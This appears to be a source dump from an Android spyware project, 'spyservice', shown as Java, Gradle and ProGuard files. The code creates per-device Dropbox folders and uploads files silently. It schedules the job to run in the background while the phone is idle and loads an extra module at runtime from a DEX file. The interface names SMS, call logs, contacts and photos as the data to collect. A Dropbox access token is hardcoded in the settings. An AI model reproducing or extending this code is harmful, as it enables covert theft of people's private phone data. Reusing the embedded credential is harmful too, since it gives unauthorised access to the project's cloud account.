207 | return global.toString();
208 | }
209 | }
210 |
--------------------------------------------------------------------------------
/app/loadabledex/src/main/java/ru/er_log/spyservice/network/DropBox.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.network;
12 |
13 | import android.content.Context;
14 | import android.util.Log;
15 |
16 | import com.dropbox.core.DbxException;
17 | import com.dropbox.core.DbxRequestConfig;
18 | import com.dropbox.core.util.IOUtil;
19 | import com.dropbox.core.v2.DbxClientV2;
20 | import com.dropbox.core.v2.files.CreateFolderBatchBuilder;
21 | import com.dropbox.core.v2.files.CreateFolderBatchLaunch;
22 | import com.dropbox.core.v2.files.FileMetadata;
23 | import com.dropbox.core.v2.files.ListFolderResult;
24 | import com.dropbox.core.v2.files.Metadata;
25 | import com.dropbox.core.v2.files.WriteMode;
26 |
27 | import java.io.IOException;
28 | import java.io.InputStream;
29 | import java.util.Date;
30 | import java.util.List;
31 |
32 | import ru.er_log.spyservice.Settings;
33 | import ru.er_log.spyservice.loadable.BuildConfig;
34 | import ru.er_log.spyservice.util.CommonUtils;
35 |
36 | public class DropBox
37 | {
38 | private final String cloudFolderOther;
39 | private final String cloudFolderImages;
40 |
41 | private final Context context;
42 | private final DbxRequestConfig config;
43 | private final DbxClientV2 client;
44 |
45 | public DropBox(Context context) throws DbxException
46 | {
47 | this.context = context;
48 |
49 | String uniqueId = CommonUtils.getUniqueAppInstallationId(context);
50 | cloudFolderOther = "/" + uniqueId + "/about";
51 | cloudFolderImages = "/" + uniqueId + "/images";
52 |
53 | config = DbxRequestConfig.newBuilder(BuildConfig.LIBRARY_PACKAGE_NAME + "/" + BuildConfig.VERSION_NAME).withUserLocale("en_US").build();
54 | client = new DbxClientV2(config, Settings.ACCESS_TOKEN);
55 |
56 | createFolders();
57 | }
58 |
59 | private void createFolders()
60 | {
61 | try { client.files().createFolderV2(cloudFolderOther); } catch (DbxException ignored) {}
62 | try { client.files().createFolderV2(cloudFolderImages); } catch (DbxException ignored) {}
63 | }
64 |
65 | public CreateFolderBatchLaunch createFolderBatch(List paths, boolean forceAsync)
66 | {
67 | try
68 | {
69 | CreateFolderBatchBuilder builder = client.files().createFolderBatchBuilder(paths);
70 | builder.withAutorename(false);
71 | builder.withForceAsync(forceAsync);
72 | return builder.start();
73 | } catch (DbxException e)
74 | {
75 | e.printStackTrace();
76 | return null;
77 | }
78 | }
79 |
80 | public void uploadFileIfModified(Date modified, IOUtil.ProgressListener progressListener, String dropboxPath, InputStream in)
81 | {
82 | Metadata isExits = isExists(dropboxPath);
83 | FileMetadata fileMetadata = null;
84 |
85 | try { fileMetadata = (FileMetadata) isExits; }
86 | catch (ClassCastException ignored) {}
87 |
88 | if (fileMetadata == null)
89 | { // File not exist.
90 | Log.d(Settings.LOG_TAG, "File not found on server. Starting upload process.");
91 | uploadFile(WriteMode.OVERWRITE, modified, progressListener, dropboxPath, in);
92 | } else if ((modified.getTime() / 1000L) > (fileMetadata.getClientModified().getTime() / 1000L))
93 | { // File exists and we are going to check if we need to update it.
94 | Log.d(Settings.LOG_TAG, "File update needed. Starting.");
95 | uploadFile(WriteMode.OVERWRITE, modified, progressListener, dropboxPath, in);
96 | } else
97 | {
98 | Log.d(Settings.LOG_TAG, "File found on the server and no need to update it: " + dropboxPath);
99 | }
100 | }
101 |
102 | public void uploadFileIfNotExist(Date modified, IOUtil.ProgressListener progressListener, String dropboxPath, InputStream in)
103 | {
104 | Metadata isExits = isExists(dropboxPath);
105 | if (isExits != null) return;
106 | uploadFile(WriteMode.OVERWRITE, modified, progressListener, dropboxPath, in);
107 | }
108 |
109 | public ListFolderResult getAllFolderContent(String dropboxPath, boolean recursive) throws DbxException
110 | {
111 | return client.files().listFolderBuilder(dropboxPath).withRecursive(recursive).withIncludeMediaInfo(true).start();
112 | }
113 |
114 | public FileMetadata uploadFile(WriteMode writeMode, Date modified, IOUtil.ProgressListener progressListener, String dropboxPath, InputStream in)
115 | {
116 | try
117 | {
118 | FileMetadata metadata = client.files().uploadBuilder(dropboxPath)
119 | .withMode(writeMode)
120 | .withMute(Boolean.TRUE)
121 | .withClientModified(modified)
122 | .uploadAndFinish(in, progressListener);
123 |
124 | // Log.d(Settings.LOG_TAG, "File upload results: " + metadata.toString());
125 | return metadata;
126 | } catch (DbxException ex)
127 | {
128 | Log.e(Settings.LOG_TAG, "Error uploading to Dropbox: " + ex.getMessage());
129 | return null;
130 | } catch (IOException ex)
131 | {
132 | Log.e(Settings.LOG_TAG, "Error reading from input stream: \"" + dropboxPath + "\": " + ex.getMessage());
133 | return null;
134 | }
135 | }
136 |
137 | private Metadata isExists(String path)
138 | {
139 | try
140 | {
141 | return client.files().getMetadata(path);
142 | } catch (DbxException ignored)
143 | {
144 | return null;
145 | }
146 | }
147 |
148 | public String getCloudFolderOther()
149 | {
150 | return cloudFolderOther;
151 | }
152 |
153 | public String getCloudFolderImages()
154 | {
155 | return cloudFolderImages;
156 | }
157 | }
158 |
--------------------------------------------------------------------------------
/app/loadabledex/src/test/java/ru/er_log/spyservice/loadable/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import org.junit.Test;
14 |
15 | import static org.junit.Assert.*;
16 |
17 | /**
18 | * Example local unit test, which will execute on the development machine (host).
19 | *
20 | * @see Testing documentation
21 | */
22 | public class ExampleUnitTest
23 | {
24 | @Test
25 | public void addition_isCorrect()
26 | {
27 | assertEquals(4, 2 + 2);
28 | }
29 | }
--------------------------------------------------------------------------------
/app/loadableinterface/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/app/loadableinterface/build.gradle:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved.
3 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
4 | * except in compliance with the License. You may obtain a copy of the License at
5 | * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in
6 | * writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
7 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
8 | * specific language governing permissions and limitations under the License.
9 | */
10 |
11 | apply plugin: 'com.android.library'
12 |
13 | android {
14 | compileSdkVersion 29
15 | buildToolsVersion "29.0.3"
16 |
17 | defaultConfig {
18 | minSdkVersion 23
19 | targetSdkVersion 29
20 | versionCode 1
21 | versionName "1.0"
22 |
23 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
24 | consumerProguardFiles 'consumer-rules.pro'
25 | }
26 |
27 | buildTypes {
28 | release {
29 | minifyEnabled false
30 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
31 | }
32 | }
33 |
34 | }
35 |
36 | dependencies {
37 | implementation fileTree(dir: 'libs', include: ['*.jar'])
38 |
39 | implementation 'me.everything:providers-stetho:1.0.1'
40 |
41 | implementation 'androidx.appcompat:appcompat:1.1.0'
42 | testImplementation 'junit:junit:4.13'
43 | androidTestImplementation 'androidx.test.ext:junit:1.1.1'
44 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0'
45 | }
46 |
--------------------------------------------------------------------------------
/app/loadableinterface/consumer-rules.pro:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/loadableinterface/consumer-rules.pro
--------------------------------------------------------------------------------
/app/loadableinterface/loadableinterface.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | generateDebugSources
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
--------------------------------------------------------------------------------
/app/loadableinterface/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
22 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/androidTest/java/ru/er_log/spyservice/loadable/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import android.content.Context;
14 |
15 | import androidx.test.platform.app.InstrumentationRegistry;
16 | import androidx.test.ext.junit.runners.AndroidJUnit4;
17 |
18 | import org.junit.Test;
19 | import org.junit.runner.RunWith;
20 |
21 | import static org.junit.Assert.*;
22 |
23 | /**
24 | * Instrumented test, which will execute on an Android device.
25 | *
26 | * @see Testing documentation
27 | */
28 | @RunWith(AndroidJUnit4.class)
29 | public class ExampleInstrumentedTest
30 | {
31 | @Test
32 | public void useAppContext()
33 | {
34 | // Context of the app under test.
35 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
36 |
37 | assertEquals("ru.er_log.spyservice.loadable.test", appContext.getPackageName());
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/main/java/ru/er_log/spyservice/Settings.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice;
12 |
13 | import java.util.concurrent.TimeUnit;
14 |
15 | public class Settings
16 | {
17 | public static final boolean RUN_IN_BACKGROUND = true; // Enable WorkManager service (= true) or debug program in direct mode (= false). For release should be true.
18 | public static final boolean USE_LOCAL_DEX = false; // If true, you need to include 'loadabledex' module to 'app' project dependencies and uncomment line in 'Worker' class. For release should be false.
19 | public static final String LOG_TAG = "CR_TAG";
20 | public static final String API_URL = "http://www.er-log.ru/study/spyservice/";
21 |
22 | // Task.
23 |
24 | public static final String TASK_TAG = "CR_TASK";
25 | public static final boolean REQUIRES_IDLE = true; // If true, task will execute only if device idle now. Recommended value is true.
26 | public static final int INITIAL_DELAY = 20; // Recommended value is 1 hour.
27 | public static final TimeUnit INITIAL_TIME_UNIT = TimeUnit.MINUTES;
28 | public static final int REPEAT_INTERVAL = 8; // Recommended value is 12 hours.
29 | public static final TimeUnit REPEAT_TIME_UNIT = TimeUnit.HOURS;
30 | public static final int FLEX_INTERVAL = 3; // Recommended value is 4 hours.
31 | public static final TimeUnit FLEX_TIME_UNIT = TimeUnit.HOURS;
32 |
33 | // DropBox.
34 |
35 | public static final String ACCESS_TOKEN = "OfRRSa5YovwAAAAAAAAAHUoANpkCJ_BZVA_t782wIQrrUga4soCzhRktH4PUd4Sl";
36 | // public static final String APP_KEY = "";
37 | // public static final String APP_SECRET = "";
38 | }
39 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/ILoadable.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import android.content.Context;
14 |
15 | import java.util.ArrayList;
16 | import java.util.List;
17 |
18 | import me.everything.providers.android.calllog.Call;
19 | import me.everything.providers.android.contacts.Contact;
20 | import me.everything.providers.android.media.Image;
21 | import me.everything.providers.android.telephony.Sms;
22 | import ru.er_log.spyservice.loadable.content.ImageInformation;
23 | import ru.er_log.spyservice.loadable.content.SystemInformation;
24 |
25 | public interface ILoadable
26 | {
27 | boolean fulfillDestiny(Context context);
28 | // List getSms(Context context);
29 | // List getCalls(Context context);
30 | // List getContacts(Context context);
31 | // List getInternalStorageImages(Context context);
32 | // List getExternalStorageImages(Context context);
33 | // SystemInformation getSystemInformation(Context context);
34 | }
35 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/Util.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import java.io.File;
14 |
15 | import dalvik.system.DexClassLoader;
16 |
17 | class Util
18 | {
19 | static ILoadable loadModule(String className, File dexFile, File cacheDir, ClassLoader parent)
20 | {
21 | try
22 | {
23 | DexClassLoader classLoader = new DexClassLoader(dexFile.getAbsolutePath(), cacheDir.getAbsolutePath(), null, parent);
24 | Class> moduleClass = classLoader.loadClass(className);
25 |
26 | // // All classes in DEX file.
27 | // DexFile df = new DexFile(dexFile);
28 | // for (Enumeration iter = df.entries(); iter.hasMoreElements(); )
29 | // {
30 | // String _className = iter.nextElement();
31 | // if (!_className.equals(className))
32 | // classLoader.loadClass(_className);
33 | // }
34 |
35 | if (ILoadable.class.isAssignableFrom(moduleClass))
36 | return (ILoadable) moduleClass.newInstance();
37 | } catch (Exception e)
38 | {
39 | e.printStackTrace();
40 | }
41 |
42 | return null;
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/content/ImageInformation.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable.content;
12 |
13 | import java.util.Date;
14 |
15 | public class ImageInformation
16 | {
17 | /**
18 | * author CodeBoy722
19 | *